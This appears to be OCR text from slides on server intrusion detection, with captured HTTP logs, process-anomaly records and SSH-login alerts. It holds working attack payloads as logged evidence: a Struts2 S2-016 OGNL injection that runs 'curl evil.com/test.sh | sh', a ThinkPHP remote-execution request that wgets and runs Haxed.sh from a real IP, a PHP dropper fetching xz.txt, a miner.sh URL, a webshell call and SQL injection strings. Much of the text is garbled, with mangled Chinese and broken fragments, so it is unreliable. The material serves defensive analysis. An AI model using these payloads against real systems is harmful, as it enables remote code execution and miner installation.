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S2-016/hello.action?

debug=command&expression=#context[ "xwork.MethodAccessor.denyMethodExecution" ]=false,#f=# memberAcce
ss.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(# memberAcc
ess,true),#a=@java.lang.Runtime@getRuntime().exec("curl evil.com/test.sh |
sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new
char[50000],#c.read(#d),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletRespons
e").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()

Q1: ZEEFBH—3ln =GR WEEX—HTRESS

curl evil.com/test.sh | sh
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linux bash
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SHEBIT
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http://cdxy.me/miner.sh
cdxy.me:80/miner.sh
cdxy.me/miner.sh

GET /miner.sh Host: cdxy.me

CC
Cd

Cd

pyt
pyt
pyt

Xy.me/d
Xy.me/d

Xy.me/d

ratt/2018/08/02/index.php
ratt/2018/09/11/index.php
ratt/2018/09/12/index.php

kXkkk /kk /kk

non log.py -0 server 20190101.log
non log.py -0 server 20190102.log
non log.py -0 server 20190103.log

%k 3k %k %k %
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first_time ' last_time

2020-08-17 08:37:57

2020-08-0111:34:35

2020-08-0111:34:36

2020-08-0111:34:43

2020-08~(

2020-08-01

2020-08-01

2020-08-(

FERTRIS / taal | ZF

111:22:10

11:34:35

11:34:36

111:34:43

SANEZE /BT

X

pid_start_time scan_time logtime

2018-11-24 17:06:31 2019-01-13 14:33:57 1547361256
2018-11-24 17:06:31 2019-01-13 14:33:57 1547361256

2018-11-03 16:41:10 2019-01-13 14:33:58 1547361256
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GET http://x.com/shell.php?cmd=whoami

B{SETE: 20:40:00
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sh -c echo "<?php echo copy("http://103.198.194.134/php/
xz.txt","ftmbb.php");echo "ftml123" ?>" >>ftmaa.php

sleep 2

php /home/www/hgdj-server/t...

sleep 2 REGULAR EXPRESSION 1 match, 194 steps (~Oms)
sh -c echo "<?php echo copy(... g
sh -c __construct php-fpm php-fpm TEST STRING SWITCH TO UNIT TESTS »

php /home/www/hgdj-server/t... root root sh -c echo "<?php echo

copy("http://103.198.194.134/php/xz.txt","ftmbb.php");echo "ftml23"

?>" >>ftmaa.php
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HT TP POST data
s=echo "<?php echo copy("http://103.198.194.134/php/

- / xz.txt","ftmbb.php");echo "ftm123" ?>"
- >>ftmaa.php& method=_ construct&method=&filter[ ]=exec

process anomalies

sh -c echo "<?php echo copy("http://103.198.194.134/
php/xz.txt","ftmbb.php");echo "ftml123" ?>" >>ftmaa.php
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proc log proc anomalies http log
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BHRE: SNETNEIGT T RESS, BASSHENEREPHEAIN. AERFENEZIRGEFEeSITEE, 7ELHRET
Ao THIRE FHEEFAMNFAREEETHE,

WEHHIP: 115.213.225.77

rresaserost: [N

HTTPA&: POST

nrreisuAL: [

POSTEE: s=echo "<7php echo copy("http://103.198.194.134/php/xz.txt","ftmbb.php*);echo "ftm123* 7>" >>ftmaa.php& method=_constr
uct&method=4afilter{]=exec

Cookie: {}

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWG6G4,; rv:48.0) Gecko/20100101 Firefox/48.0

X-Forward-For:

Request-Content-Type: application/x-www-form-urlencoded

FHRE BB sh-c echo "<?php echo copy("http://103.198.194.134/php/xz.txt","ftmbb.php"*);echo “ftm123" 75" >>ftmaa.php”
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curl http://evil.com/x | sh

v

curl https://raw.githubusercontent.com/

X

creationix/nvm/v0.8.0/install.sh | sh

2t

id=" and '1'=z'1

WEB Server @ -— f ‘@ o cken

WAF

log={"args":{"1id":"" and "1'="1"}}
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83.103.232.244

FohIMNEERIP

146.185.29.100

/\\\El$ A_ﬁlﬁ

ifigl: 2019-02-12 00:03:54

TRABWR: ARREEDH

AREE: SSHEFHITREES

KERE: 2019-02-12 00:03:54

KiERE: 2019-02-12 00:04:22

ANEFRE:

{'SSH_LOGIN_AND_EXEC":'{\'user\"\'www \'\'group\":\'www \' \'uid
\"\"1000 \',\'gid\":\'"1000 \' \'pid\":\'10724\' \'pid_start_time\':\'2019-0
2-12 00:08:53\',\'cmd_line\":\'-bash\',\'pfile_path\":\'/usr/sbin/sshd

\' \'file_path\":\'/usr/bin/bash\'}'}
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URL
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20ce950t-Mb6-4...
hMtp/149.28.1... '-

@ .o

45.125.194.18 ¥

@, R AR S ERA ..

103.253.40.188

http://149.28.1...

curl | \ @

A4.156

— «— 38.232
v A

198129771 @

‘ \ 191.89

132.232.217.124

nitp://149.28.1...

;-_

fvartmptop nttp/149.28.1...

S tsO: 22

time: 2018-12-29 02:00:21

request _datetime: 2018-12-29 02:00:21

src_ip: 198.12.97.71

dst_ip:

method: get

token: c60c6147df6898038c43

json_data:

{"reset™: "0", "http_port": "80°, "type”: "webshell*, “evidence": "GET
/index.php?s=/index/%255Cthink%255Capp/invokefunction&functio
n=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%2520/tm
p:%2520wget%2520http://198.12.97.71/Haxed.sh;%2520chmod%
2520+x%2520Haxed.sh;%2520sh%2520Haxed.sh;rm%2520-rf%25
20Haxed.sh HTTP/1.1%0d%0aHost: 101.200.41.147:80%0d%0aUs
er-Agent: Go-http-client/1.1%0d%0a%0d%0a", "reserved5”: "Non

e", "reservedd”: "None", “reserved1™: " ", “rule id": "2333457", "rese

rved3": "None", “reserved2”: "None"}
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